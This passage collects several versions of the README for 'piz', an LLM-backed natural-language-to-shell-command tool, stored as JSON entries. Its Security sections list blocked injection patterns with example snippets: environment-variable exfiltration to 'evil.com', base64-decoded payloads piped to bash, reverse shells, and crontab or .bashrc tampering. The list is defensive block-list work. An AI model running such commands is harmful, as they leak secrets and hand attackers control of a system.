src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English, Japanese interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en/ja).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (158)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "6b16a887632b9a56eb510c5a82d399832cc575f5": {"t": 1785760786.3756788, "n": 10353, "h": "11b48769777d05b6", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n\nMatched commands are **blocked** and cannot be executed.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, refusal detection\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # Prompt templates with security rules and few-shot examples\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ ├── gemini.rs # Google Gemini adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex danger detection + injection scanner\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (120)\ncargo install --path . # Install to PATH\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "bb7400e3a0f0b6d96db340c295f84aa386015c94": {"t": 1785760787.6785493, "n": 7130, "h": "67db295e1e6c8e75", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Moonshot</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build 